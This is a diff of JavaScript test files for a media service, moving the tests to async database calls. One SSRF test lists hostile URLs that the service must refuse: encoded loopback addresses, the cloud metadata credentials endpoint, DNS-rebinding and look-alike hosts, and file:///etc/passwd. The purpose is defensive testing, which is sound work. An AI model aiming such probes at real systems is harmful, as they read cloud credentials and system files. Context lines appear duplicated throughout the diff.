+ for (const target of ['https://127.0.0.1/x', 'https://2130706433/x', 'https://[::1]/x', 'https://[::ffff:7f00:1]/x', 'https://169.254.169.254/latest/meta-data/',
+ 'https://localhost/x', 'https://meta.example/x', 'http://good.example/x', 'https://good.example:8443/x', '//10.0.0.1/x']) {
+ fetched = [];
+ const fetcher = async (u) => { fetched.push(u.host); return fetched.length === 1 ? { redirect: target } : { body: Buffer.from('reached') }; };
+ await rejects(ingest.safeFetchImage('https://good.example/a.png', { fetcher }), DENIED, `a redirect to ${target}`);
+ assert.deepStrictEqual(fetched, ['good.example'], `the internal hop is never connected to (${target})`);
+ }
+ console.log('✅ DNS answers with any internal address, and redirects to internal addresses, are refused');
- // ── DNS rebinding: the socket connects to the address that was checked, not a second lookup ──
- let calls = 0;
- answers['rebind.example'] = () => (++calls === 1 ? [{ address: '93.184.216.34', family: 4 }] : [{ address: '127.0.0.1', family: 4 }]);
- const realGet = https.get;
- let opts = null;
- https.get = (o) => { opts = o; const req = new (require('events'))(); req.destroy = () => {}; setImmediate(() => req.emit('error', new Error('stubbed socket'))); return req; };
- try {
- await rejects(ingest.safeFetchImage('https://rebind.example/a.png'), /stubbed socket/, 'the real fetcher runs up to the socket');
- } finally { https.get = realGet; }
- assert.strictEqual(calls, 1, 'the name is resolved once');
- assert.strictEqual(opts.host, 'rebind.example', 'TLS still names the host');
- const pinned = await new Promise((resolve) => opts.lookup('rebind.example', {}, (err, address, family) => resolve({ err, address, family })));
- assert.deepStrictEqual([pinned.err, pinned.address, pinned.family], [null, '93.184.216.34', 4], 'the socket\'s lookup answers the checked address');
- const pinnedAll = await new Promise((resolve) => opts.lookup('rebind.example', { all: true }, (err, list) => resolve(list)));
- assert.deepStrictEqual(pinnedAll, [{ address: '93.184.216.34', family: 4 }], 'also when Node asks for every address');
- assert.strictEqual(calls, 1, 'connecting does not resolve again (a rebinding answer is never used)');
- console.log('✅ DNS rebinding: the connection is pinned to the checked address');
+ // ── DNS rebinding: the socket connects to the address that was checked, not a second lookup ──
+ let calls = 0;
+ answers['rebind.example'] = () => (++calls === 1 ? [{ address: '93.184.216.34', family: 4 }] : [{ address: '127.0.0.1', family: 4 }]);
+ const realGet = https.get;
+ let opts = null;
+ https.get = (o) => { opts = o; const req = new (require('events'))(); req.destroy = () => {}; setImmediate(() => req.emit('error', new Error('stubbed socket'))); return req; };
+ try {
+ await rejects(ingest.safeFetchImage('https://rebind.example/a.png'), /stubbed socket/, 'the real fetcher runs up to the socket');
+ } finally { https.get = realGet; }
+ assert.strictEqual(calls, 1, 'the name is resolved once');
+ assert.strictEqual(opts.host, 'rebind.example', 'TLS still names the host');
+ const pinned = await new Promise((resolve) => opts.lookup('rebind.example', {}, (err, address, family) => resolve({ err, address, family })));
+ assert.deepStrictEqual([pinned.err, pinned.address, pinned.family], [null, '93.184.216.34', 4], 'the socket\'s lookup answers the checked address');
+ const pinnedAll = await new Promise((resolve) => opts.lookup('rebind.example', { all: true }, (err, list) => resolve(list)));
+ assert.deepStrictEqual(pinnedAll, [{ address: '93.184.216.34', family: 4 }], 'also when Node asks for every address');
+ assert.strictEqual(calls, 1, 'connecting does not resolve again (a rebinding answer is never used)');
+ console.log('✅ DNS rebinding: the connection is pinned to the checked address');
- // ── Through the route: an internal URL is refused and nothing is stored ──
- const db = require('../server/db/database');
- const express = require('express');
- const app = express();
- app.use(express.json());
- app.post('/internal/avatar-ingest', ingest.createIngestHandler({ db, config: require('../server/config'), screenshotsDir: path.join(tmp, 'shots'), generateSlug: () => 'slug1', log: { warn() {} } }));
- const server = http.createServer(app);
- await new Promise((r) => server.listen(0, '127.0.0.1', r));
- for (const url of ['https://169.254.169.254/latest/meta-data/iam/security-credentials/', 'https://[::ffff:7f00:1]/a.png', 'https://2130706433/a.png', 'https://localhost/a.png', 'https://mixed.example/a.png']) {
- const r = await fetch(`http://127.0.0.1:${server.address().port}/internal/avatar-ingest`, { method: 'POST', headers: { 'content-type': 'application/json' }, body: JSON.stringify({ url, user_id: 1 }) });
- const body = await r.json();
- assert.deepStrictEqual([r.status, body.ok], [422, false], `${url}: ${JSON.stringify(body)}`);
- }
- assert.strictEqual(db.get("SELECT COUNT(*) AS n FROM pastes WHERE app_id = 'network'").n, 0, 'no avatar was stored');
- assert.ok(!fs.existsSync(path.join(tmp, 'shots')) || fs.readdirSync(path.join(tmp, 'shots')).length === 0, 'no file was written');
- server.close();
- console.log('✅ POST /internal/avatar-ingest refuses internal URLs and stores nothing');
+ // ── Through the route: an internal URL is refused and nothing is stored ──
+ const db = require('../server/db/database');
+ const express = require('express');
+ const app = express();
+ app.use(express.json());
+ app.post('/internal/avatar-ingest', ingest.createIngestHandler({ db, config: require('../server/config'), screenshotsDir: path.join(tmp, 'shots'), generateSlug: () => 'slug1', log: { warn() {} } }));
+ const server = http.createServer(app);
+ await new Promise((r) => server.listen(0, '127.0.0.1', r));
+ for (const url of ['https://169.254.169.254/latest/meta-data/iam/security-credentials/', 'https://[::ffff:7f00:1]/a.png', 'https://2130706433/a.png', 'https://localhost/a.png', 'https://mixed.example/a.png']) {
+ const r = await fetch(`http://127.0.0.1:${server.address().port}/internal/avatar-ingest`, { method: 'POST', headers: { 'content-type': 'application/json' }, body: JSON.stringify({ url, user_id: 1 }) });
+ const body = await r.json();
+ assert.deepStrictEqual([r.status, body.ok], [422, false], `${url}: ${JSON.stringify(body)}`);
+ }
+ assert.strictEqual((await db.get("SELECT COUNT(*) AS n FROM pastes WHERE app_id = 'network'")).n, 0, 'no avatar was stored');
+ assert.ok(!fs.existsSync(path.join(tmp, 'shots')) || fs.readdirSync(path.join(tmp, 'shots')).length === 0, 'no file was written');
+ server.close();
+ console.log('✅ POST /internal/avatar-ingest refuses internal URLs and stores nothing');
- // ── RTMP pull: only the allow-listed host:port, in no other spelling ──
- for (const u of ['rtmp://2130706433:1935/live/k', 'rtmp://0177.0.0.1:1935/live/k', 'rtmp://0x7f000001:1935/live/k', 'rtmp://127.1:1935/live/k', 'rtmp://0.0.0.0:1935/live/k',
- 'rtmp://[::ffff:127.0.0.1]:1935/live/k', 'rtmp://[::ffff:7f00:1]:1935/live/k', 'rtmp://[fe80::1]:1935/live/k', 'rtmp://169.254.169.254:1935/live/k', 'rtmp://10.0.0.5:1935/live/k',
- 'rtmp://localhost.:1935/live/k', 'rtmp://127.0.0.1.nip.io:1935/live/k', 'rtmp://localhost.evil.example:1935/live/k', 'rtmp://127.0.0.1:19350/live/k', 'rtmp://127.0.0.1:[email protected]/live/k',
- 'http://127.0.0.1:1935/live/k', 'rtmpt://127.0.0.1:1935/live/k', 'file:///etc/passwd']) {
- assert.strictEqual(checkRtmpUrl(u).ok, false, `RTMP pull refused: ${u}`);
- }
- assert.strictEqual(checkRtmpUrl('rtmp://127.0.0.1:1935/live/k').ok, true, 'Live\'s RTMP server on this host (control)');
- console.log('✅ RTMP pull: encoded, IPv6-mapped and look-alike hosts are not the allow-listed one');
+ // ── RTMP pull: only the allow-listed host:port, in no other spelling ──
+ for (const u of ['rtmp://2130706433:1935/live/k', 'rtmp://0177.0.0.1:1935/live/k', 'rtmp://0x7f000001:1935/live/k', 'rtmp://127.1:1935/live/k', 'rtmp://0.0.0.0:1935/live/k',
+ 'rtmp://[::ffff:127.0.0.1]:1935/live/k', 'rtmp://[::ffff:7f00:1]:1935/live/k', 'rtmp://[fe80::1]:1935/live/k', 'rtmp://169.254.169.254:1935/live/k', 'rtmp://10.0.0.5:1935/live/k',
+ 'rtmp://localhost.:1935/live/k', 'rtmp://127.0.0.1.nip.io:1935/live/k', 'rtmp://localhost.evil.example:1935/live/k', 'rtmp://127.0.0.1:19350/live/k', 'rtmp://127.0.0.1:[email protected]/live/k',
+ 'http://127.0.0.1:1935/live/k', 'rtmpt://127.0.0.1:1935/live/k', 'file:///etc/passwd']) {
+ assert.strictEqual(checkRtmpUrl(u).ok, false, `RTMP pull refused: ${u}`);
+ }
+ assert.strictEqual(checkRtmpUrl('rtmp://127.0.0.1:1935/live/k').ok, true, 'Live\'s RTMP server on this host (control)');
+ console.log('✅ RTMP pull: encoded, IPv6-mapped and look-alike hosts are not the allow-listed one');
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('security-ssrf: all checks passed');
- process.exit(0);
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('security-ssrf: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -1,94 +1,73 @@
@@ -1,94 +1,73 @@
'use strict';
'use strict';
// Service-principal tokens on Media's tenant API (roadmap Wave 1/5): accepted only on routes that name
// Service-principal tokens on Media's tenant API (roadmap Wave 1/5): accepted only on routes that name
-// their capability and only for granted :app namespaces; the token-only 'community' tenant; and the
-// paste export bundle Community imports.
+// their capability and only for granted :app namespaces; and the token-only 'community' tenant.
const assert = require('assert');
const assert = require('assert');
const fs = require('fs');
const fs = require('fs');
const os = require('os');
const os = require('os');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
const crypto = require('crypto');
const crypto = require('crypto');
-const { execFileSync } = require('child_process');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-svc-'));
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.FILES_PATH = path.join(tmp, 'files');
-process.env.OV_NETWORK_URL = 'https://openvibe.network';
-process.env.MEDIA_PUBLIC_URL = 'https://media.test';
-
-const db = require('../server/db/database');
-const auth = require('../server/auth');
-const { serviceAuth } = require('openvibe-contracts');
-const express = require('express');
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-svc-'));
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.FILES_PATH = path.join(tmp, 'files');
+ process.env.OV_NETWORK_URL = 'https://openvibe.network';
+ process.env.MEDIA_PUBLIC_URL = 'https://media.test';
-const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
-auth._setNetworkPublicKeyForTests(keys.publicKey);
-db.upsertApp({ app_id: 'live', api_key: 'live-key' });
-auth.ensureTokenOnlyApps();
-auth.ensureTokenOnlyApps(); // idempotent
-const community = db.getApp('community');
-assert.ok(community && community.api_key_hash === '' && community.quota_bytes > 0, 'token-only community tenant with a quota');
+ const db = require('../server/db/database');
+ const auth = require('../server/auth');
+ const { serviceAuth } = require('openvibe-contracts');
+ const express = require('express');
-const now = Math.floor(Date.now() / 1000);
-const tok = (over = {}) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:community', actor_type: 'service', aud: ['openvibe.media'], cap: ['media.object.upload'], ns: ['community'], iat: now, exp: now + 300, jti: 'tok_test12345', ...over }, keys.privateKey);
+ const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
+ auth._setNetworkPublicKeyForTests(keys.publicKey);
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
+ await auth.ensureTokenOnlyApps();
+ await auth.ensureTokenOnlyApps(); // idempotent
+ const community = await db.getApp('community');
+ assert.ok(community && community.api_key_hash === '' && community.quota_bytes > 0, 'token-only community tenant with a quota');
-const app = express();
-app.use('/api/v1/:app/files', require('../server/files/routes'));
-const server = http.createServer(app);
+ const now = Math.floor(Date.now() / 1000);
+ const tok = (over = {}) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:community', actor_type: 'service', aud: ['openvibe.media'], cap: ['media.object.upload'], ns: ['community'], iat: now, exp: now + 300, jti: 'tok_test12345', ...over }, keys.privateKey);
-(async () => {
- await new Promise((r) => server.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${server.address().port}`;
- const upload = (appId, bearer) => {
- const fd = new FormData();
- fd.append('file', new Blob([Buffer.from('\x89PNG\r\n\x1a\nfake')], { type: 'image/png' }), 'shot.png');
- return fetch(`${base}/api/v1/${appId}/files`, { method: 'POST', headers: bearer ? { authorization: `Bearer ${bearer}` } : {}, body: fd })
- .then(async (r) => ({ status: r.status, body: await r.json().catch(() => null) }));
- };
+ const app = express();
+ app.use('/api/v1/:app/files', require('../server/files/routes'));
+ const server = http.createServer(app);
- let r = await upload('community', tok());
- assert.strictEqual(r.status, 201, JSON.stringify(r.body));
- assert.ok(r.body.key && r.body.url, 'upload answers key + url');
- r = await upload('live', tok());
- assert.strictEqual(r.status, 403); assert.strictEqual(r.body.code, 'capability.namespace_denied', 'a community token cannot write the live namespace');
- r = await upload('community', tok({ cap: ['media.object.read'] }));
- assert.strictEqual(r.body.code, 'capability.denied');
- r = await upload('community', tok({ aud: ['openvibe.network'] }));
- assert.strictEqual(r.status, 401, 'wrong audience is not a service credential here');
- r = await upload('community', serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:community', actor_type: 'service', aud: ['openvibe.media'], cap: ['media.object.upload'], ns: ['community'], iat: now, exp: now + 300, jti: 'tok_forged123' }, crypto.generateKeyPairSync('rsa', { modulusLength: 2048 }).privateKey));
- assert.strictEqual(r.status, 401, 'forged token refused');
- r = await upload('community', '');
- assert.strictEqual(r.status, 401);
- r = await upload('community', 'live-key');
- assert.strictEqual(r.status, 403, "live's key is not valid for the community tenant");
- let list = await fetch(`${base}/api/v1/community/files`, { headers: { authorization: `Bearer ${tok()}` } });
- assert.strictEqual(list.status, 403, 'listing needs media.object.read');
- list = await fetch(`${base}/api/v1/community/files`, { headers: { authorization: `Bearer ${tok({ cap: ['media.object.upload', 'media.object.read'] })}` } });
- assert.strictEqual(list.status, 200, 'listing with media.object.read');
- assert.strictEqual((await list.json()).files.length, 1);
- server.close();
+ (async () => {
+ await new Promise((r) => server.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${server.address().port}`;
+ const upload = (appId, bearer) => {
+ const fd = new FormData();
+ fd.append('file', new Blob([Buffer.from('\x89PNG\r\n\x1a\nfake')], { type: 'image/png' }), 'shot.png');
+ return fetch(`${base}/api/v1/${appId}/files`, { method: 'POST', headers: bearer ? { authorization: `Bearer ${bearer}` } : {}, body: fd })
+ .then(async (r) => ({ status: r.status, body: await r.json().catch(() => null) }));
+ };
- // ── Paste export bundle ──
- const d = db.getDb();
- d.prepare("INSERT INTO pastes (id, app_id, slug, user_id, type, title, content, visibility, screenshot_path, metadata, ip_address, ai_tags) VALUES (1, 'live', 'a-a-1', 5, 'paste', 'A', 'x', 'public', NULL, '{\"k\":1}', '10.0.0.1', 'one,two'), (2, 'live', 'b-b-2', NULL, 'screenshot', 'B', '', 'unlisted', '/data/s.png', NULL, '10.0.0.2', NULL), (3, 'tools', 'c-c-3', 1, 'paste', 'C', 'y', 'public', NULL, NULL, NULL, NULL)").run();
- d.prepare("INSERT INTO paste_comments (id, paste_id, user_id, anon_name, message, ip_address) VALUES (1, 1, NULL, 'anon', 'hi', '10.0.0.3')").run();
- d.prepare('INSERT INTO paste_likes (paste_id, user_id) VALUES (1, 7)').run();
- const outFile = path.join(tmp, 'bundle.json');
- execFileSync(process.execPath, [path.join(__dirname, '../scripts/export-pastes.js'), '--app', 'live', '--out', outFile, '--db', process.env.DB_PATH], { env: { ...process.env } });
- const b = JSON.parse(fs.readFileSync(outFile, 'utf8'));
- assert.strictEqual(b.format, 'openvibe.media.pastes-export');
- assert.deepStrictEqual(b.counts, { pastes: 2, comments: 1, likes: 1 }, 'only the requested app');
- assert.strictEqual(b.sha256, crypto.createHash('sha256').update(JSON.stringify({ pastes: b.pastes, comments: b.comments, likes: b.likes })).digest('hex'));
- assert.ok(!JSON.stringify(b).includes('10.0.0.'), 'no IP addresses leave Media');
- assert.strictEqual(b.pastes[1].screenshot_url, 'https://media.test/p/b-b-2/screenshot');
- assert.deepStrictEqual(b.pastes[0].metadata, { k: 1 });
- assert.deepStrictEqual(b.pastes[0].ai_tags, ['one', 'two']);
- assert.strictEqual((fs.statSync(outFile).mode & 0o777), 0o600, 'bundle is private');
- execFileSync(process.execPath, [path.join(__dirname, '../scripts/export-pastes.js'), '--app', 'live', '--out', outFile, '--since-id', '1', '--db', process.env.DB_PATH]);
- const inc = JSON.parse(fs.readFileSync(outFile, 'utf8'));
- assert.deepStrictEqual(inc.pastes.map((p) => p.id), [2], 'incremental export');
- assert.strictEqual(inc.counts.comments, 1, 'comments always included');
+ let r = await upload('community', tok());
+ assert.strictEqual(r.status, 201, JSON.stringify(r.body));
+ assert.ok(r.body.key && r.body.url, 'upload answers key + url');
+ r = await upload('live', tok());
+ assert.strictEqual(r.status, 403); assert.strictEqual(r.body.code, 'capability.namespace_denied', 'a community token cannot write the live namespace');
+ r = await upload('community', tok({ cap: ['media.object.read'] }));
+ assert.strictEqual(r.body.code, 'capability.denied');
+ r = await upload('community', tok({ aud: ['openvibe.network'] }));
+ assert.strictEqual(r.status, 401, 'wrong audience is not a service credential here');
+ r = await upload('community', serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:community', actor_type: 'service', aud: ['openvibe.media'], cap: ['media.object.upload'], ns: ['community'], iat: now, exp: now + 300, jti: 'tok_forged123' }, crypto.generateKeyPairSync('rsa', { modulusLength: 2048 }).privateKey));
+ assert.strictEqual(r.status, 401, 'forged token refused');
+ r = await upload('community', '');
+ assert.strictEqual(r.status, 401);
+ r = await upload('community', 'live-key');
+ assert.strictEqual(r.status, 403, "live's key is not valid for the community tenant");
+ let list = await fetch(`${base}/api/v1/community/files`, { headers: { authorization: `Bearer ${tok()}` } });
+ assert.strictEqual(list.status, 403, 'listing needs media.object.read');
+ list = await fetch(`${base}/api/v1/community/files`, { headers: { authorization: `Bearer ${tok({ cap: ['media.object.upload', 'media.object.read'] })}` } });
+ assert.strictEqual(list.status, 200, 'listing with media.object.read');
+ assert.strictEqual((await list.json()).files.length, 1);
+ server.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('service tokens + paste export: all checks passed');
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('service tokens: all checks passed');
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -3,14 +3,16 @@
@@ -3,14 +3,16 @@
// markup every OpenVibe site renders, from openvibe-shared/frame), the footer links it, and the
// markup every OpenVibe site renders, from openvibe-shared/frame), the footer links it, and the
// navbar signs out through this site (logoutUrl).
// navbar signs out through this site (logoutUrl).
const assert = require('assert');
const assert = require('assert');
-const pageFrame = require('../server/public/page-frame');
-const frame = require('openvibe-shared/frame');
+(async () => {
+ const pageFrame = require('../server/public/page-frame');
+ const frame = require('openvibe-shared/frame');
-const doc = pageFrame.page({ seo: { title: 'What shipped on OpenVibe.Media', description: 'x', canonical: pageFrame.abs('/updates') }, body: frame.updatesBody({ service: 'media', siteName: 'OpenVibe.Media' }), footer: { variant: 'full' } });
-assert.ok(doc.includes('What shipped on OpenVibe.Media') && doc.includes('data-ov-shipped="log" data-service="media"'));
-assert.ok(doc.includes('rel="canonical"') && doc.includes('/updates"'));
-assert.ok(doc.includes('"updates":"/updates"'), 'the footer links this site\'s log');
-assert.ok(doc.includes('"logoutUrl":"/auth/logout?next={path}"'), 'Sign out in the shared navbar ends this site\'s session');
-assert.ok(doc.includes('data-ov-shipped="latest" data-service="media" href="/updates"'), 'the footer\'s shipped line');
-assert.ok(!/chrome-ssr/.test(require('fs').readFileSync(require.resolve('../server/public/browse.js'), 'utf8')), 'openvibe-shared/frame, not the old name');
-console.log('shipped pages: all checks passed');
+ const doc = pageFrame.page({ seo: { title: 'What shipped on OpenVibe.Media', description: 'x', canonical: pageFrame.abs('/updates') }, body: frame.updatesBody({ service: 'media', siteName: 'OpenVibe.Media' }), footer: { variant: 'full' } });
+ assert.ok(doc.includes('What shipped on OpenVibe.Media') && doc.includes('data-ov-shipped="log" data-service="media"'));
+ assert.ok(doc.includes('rel="canonical"') && doc.includes('/updates"'));
+ assert.ok(doc.includes('"updates":"/updates"'), 'the footer links this site\'s log');
+ assert.ok(doc.includes('"logoutUrl":"/auth/logout?next={path}"'), 'Sign out in the shared navbar ends this site\'s session');
+ assert.ok(doc.includes('data-ov-shipped="latest" data-service="media" href="/updates"'), 'the footer\'s shipped line');
+ assert.ok(!/chrome-ssr/.test(require('fs').readFileSync(require.resolve('../server/public/browse.js'), 'utf8')), 'openvibe-shared/frame, not the old name');
+ console.log('shipped pages: all checks passed');
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -5,30 +5,32 @@ const fs = require('fs');
@@ -5,30 +5,32 @@ const fs = require('fs');
const os = require('os');
const os = require('os');
const path = require('path');
const path = require('path');
-const tmp = path.join(os.tmpdir(), `ov-media-series-${process.pid}.db`);
-process.env.DB_PATH = tmp;
-const db = require('../server/db/database');
-const raw = db.getDb();
+(async () => {
+ const tmp = path.join(os.tmpdir(), `ov-media-series-${process.pid}.db`);
+ process.env.DB_PATH = tmp;
+ const db = require('../server/db/database');
+ const raw = db.getDb();
-const vod = raw.prepare(`INSERT INTO vods (app_id, title, is_public, is_recording, duration_seconds, created_at) VALUES (?, 't', ?, 0, ?, datetime('now', ?))`);
-vod.run('live', 1, 7200, '-0 days');
-vod.run('live', 1, 3600, '-2 days');
-vod.run('live', 0, 3600, '-1 days'); // private: not counted
-vod.run('other', 1, 3600, '-1 days'); // another app: not counted
-vod.run('live', 1, 3600, '-10 days'); // before a 7-day window, inside the previous one
-vod.run('live', 1, 3600, '-40 days'); // before both
+ const vod = raw.prepare(`INSERT INTO vods (app_id, title, is_public, is_recording, duration_seconds, created_at) VALUES (?, 't', ?, 0, ?, datetime('now', ?)) RETURNING id`);
+ await vod.run('live', 1, 7200, '-0 days');
+ await vod.run('live', 1, 3600, '-2 days');
+ await vod.run('live', 0, 3600, '-1 days'); // private: not counted
+ await vod.run('other', 1, 3600, '-1 days'); // another app: not counted
+ await vod.run('live', 1, 3600, '-10 days'); // before a 7-day window, inside the previous one
+ await vod.run('live', 1, 3600, '-40 days'); // before both
-const s = db.getAppStatSeries('live', 'vods', 7);
-assert.strictEqual(s.points.length, 7);
-assert.strictEqual(s.total, 2);
-assert.strictEqual(s.before, 2);
-assert.strictEqual(s.prev_total, 1);
-assert.strictEqual(s.points[s.points.length - 1].value, 1);
-const h = db.getAppStatSeries('live', 'hours', 7);
-assert.strictEqual(h.total, 3);
-assert.strictEqual(db.getAppStatSeries('live', 'nope', 7), null);
-assert.strictEqual(db.getAppStatSeries('live', 'vods', 9999).points.length, 365);
+ const s = await db.getAppStatSeries('live', 'vods', 7);
+ assert.strictEqual(s.points.length, 7);
+ assert.strictEqual(s.total, 2);
+ assert.strictEqual(s.before, 2);
+ assert.strictEqual(s.prev_total, 1);
+ assert.strictEqual(s.points[s.points.length - 1].value, 1);
+ const h = await db.getAppStatSeries('live', 'hours', 7);
+ assert.strictEqual(h.total, 3);
+ assert.strictEqual(await db.getAppStatSeries('live', 'nope', 7), null);
+ assert.strictEqual((await db.getAppStatSeries('live', 'vods', 9999)).points.length, 365);
-for (const ext of ['', '-wal', '-shm']) { try { fs.unlinkSync(tmp + ext); } catch { /* */ } }
-console.log('stat series: all checks passed');
-process.exit(0);
+ for (const ext of ['', '-wal', '-shm']) { try { fs.unlinkSync(tmp + ext); } catch { /* */ } }
+ console.log('stat series: all checks passed');
+ process.exit(0);
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -12,228 +12,229 @@ const os = require('os');
@@ -12,228 +12,229 @@ const os = require('os');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
const crypto = require('crypto');
const crypto = require('crypto');
-const { execFileSync } = require('child_process');
-
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-orphans-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-
-const buckets = { 'b2-bucket': new Map(), 'r2-bucket': new Map() };
-const openUploads = { 'b2-bucket': [{ key: 'vods/half-uploaded.webm', id: 'up-b2-1' }], 'r2-bucket': [] };
-let writes = 0;
-const xml = (v) => String(v).replace(/&/g, '&').replace(/</g, '<');
-const s3 = http.createServer((req, res) => {
- req.resume();
- req.on('end', () => {
- const u = new URL(req.url, 'http://x');
- const [, bucket, ...rest] = decodeURIComponent(u.pathname).split('/');
- const key = rest.join('/');
- const store = buckets[bucket];
- if (!store) { res.writeHead(404); return res.end(); }
- if (req.method !== 'GET' && req.method !== 'HEAD') { writes++; res.writeHead(403, { 'Content-Type': 'application/xml' }); return res.end('<Error><Code>AccessDenied</Code></Error>'); }
- if (!key && u.searchParams.has('uploads')) {
- res.writeHead(200, { 'Content-Type': 'application/xml' });
- return res.end(`<?xml version="1.0" encoding="UTF-8"?><ListMultipartUploadsResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Bucket>${bucket}</Bucket><IsTruncated>false</IsTruncated>${
- openUploads[bucket].map(x => `<Upload><Key>${xml(x.key)}</Key><UploadId>${x.id}</UploadId><Initiated>2026-09-01T00:00:00.000Z</Initiated></Upload>`).join('')}</ListMultipartUploadsResult>`);
- }
- if (!key && u.searchParams.get('list-type') === '2') {
- const prefix = u.searchParams.get('prefix') || '';
- const keys = [...store.keys()].filter(k => k.startsWith(prefix)).sort();
- res.writeHead(200, { 'Content-Type': 'application/xml' });
- return res.end(`<?xml version="1.0" encoding="UTF-8"?><ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>${bucket}</Name><Prefix>${xml(prefix)}</Prefix><KeyCount>${keys.length}</KeyCount><MaxKeys>1000</MaxKeys><IsTruncated>false</IsTruncated>${
- keys.map(k => `<Contents><Key>${xml(k)}</Key><LastModified>2026-09-21T00:00:00.000Z</LastModified><ETag>"e"</ETag><Size>${store.get(k).length}</Size><StorageClass>STANDARD</StorageClass></Contents>`).join('')}</ListBucketResult>`);
- }
- const obj = store.get(key);
- if (!obj) { res.writeHead(404); return res.end(); }
- res.writeHead(200, { 'Content-Length': obj.length, ETag: '"e"' });
- res.end(req.method === 'GET' ? obj : undefined);
- });
-});
(async () => {
(async () => {
- await new Promise((r) => s3.listen(0, '127.0.0.1', r));
- const endpoint = `http://127.0.0.1:${s3.address().port}`;
- const env = {
- DB_PATH: path.join(tmp, 'data', 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), ASSETS_PATH: dir('assets'),
- MEDIA_B2_ENDPOINT: endpoint, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_KEY_ID: 'k', MEDIA_B2_APP_KEY: 's', MEDIA_B2_REGION: 'us-west-004',
- MEDIA_R2_ENDPOINT: endpoint, MEDIA_R2_BUCKET: 'r2-bucket', MEDIA_R2_ACCESS_KEY_ID: 'k', MEDIA_R2_SECRET_ACCESS_KEY: 's',
- AWS_REQUEST_CHECKSUM_CALCULATION: 'WHEN_REQUIRED', AWS_RESPONSE_CHECKSUM_VALIDATION: 'WHEN_REQUIRED',
- MEDIA_PUBLIC_URL: 'https://media.test',
- };
- Object.assign(process.env, env);
- delete process.env.MEDIA_ORPHAN_SCAN_DAYS;
- const db = require('../server/db/database');
- const model = require('../server/objects/model');
- const queue = require('../server/jobs/queue');
- require('../server/jobs/types');
- const orphans = require('../server/vod/orphans-report');
- const storageJob = require('../server/jobs/storage-orphans');
- db.upsertApp({ app_id: 'live', api_key: 'live-key-orphans' });
- const raw = db.getDb();
- const write = (d, name, bytes = 16, ageMs = 0) => {
- const p = path.join(d, name);
- fs.mkdirSync(path.dirname(p), { recursive: true });
- fs.writeFileSync(p, Buffer.alloc(bytes, 7));
- if (ageMs) { const t = (Date.now() - ageMs) / 1000; fs.utimesSync(p, t, t); }
- return p;
- };
- const HOUR = 3600 * 1000;
-
- // ── Fixtures: what the database names ──
- const ins = raw.prepare(`INSERT INTO vods (id, app_id, title, file_path, file_size, is_public, visibility, duration_seconds, storage_provider, storage_key, thumbnail_url)
- VALUES (?, 'live', ?, ?, ?, 1, 'public', 60, ?, ?, ?)`);
- ins.run(1, 'local', write(env.VOD_PATH, 'vod-live-1-1758000000001.webm', 40), 40, 'local', null, '/t/vod-1-111.jpg');
- write(env.THUMBNAILS_PATH, 'vod-1-111.jpg');
- ins.run(2, 'in B2', '/old/vod-live-2-1758000000002.webm', 20, 'b2', 'vods/vod-live-2-1758000000002.webm', null);
- buckets['b2-bucket'].set('vods/vod-live-2-1758000000002.webm', Buffer.alloc(20));
- ins.run(3, 'served from R2', '/old/vod-live-3-1758000000003.webm', 30, 'r2', 'vods/vod-live-3-1758000000003.webm', null);
- buckets['b2-bucket'].set('vods/vod-live-3-1758000000003.webm', Buffer.alloc(30));
- buckets['r2-bucket'].set('vods/vod-live-3-1758000000003.webm', Buffer.alloc(30));
- ins.run(4, 'back in B2, R2 copy left', '/old/vod-live-4-1758000000004.webm', 50, 'b2', 'vods/vod-live-4-1758000000004.webm', null);
- buckets['b2-bucket'].set('vods/vod-live-4-1758000000004.webm', Buffer.alloc(50));
- buckets['r2-bucket'].set('vods/vod-live-4-1758000000004.webm', Buffer.alloc(50));
- ins.run(5, 'local file lost', path.join(env.VOD_PATH, 'vod-live-5-1758000000005.webm'), 10, 'local', null, null);
- ins.run(6, 'B2 key lost', '/old/vod-live-6-1758000000006.webm', 60, 'b2', 'vods/vod-live-6-1758000000006.webm', null);
- for (const id of [1, 2, 3, 4, 5, 6]) model.sync('vod', id);
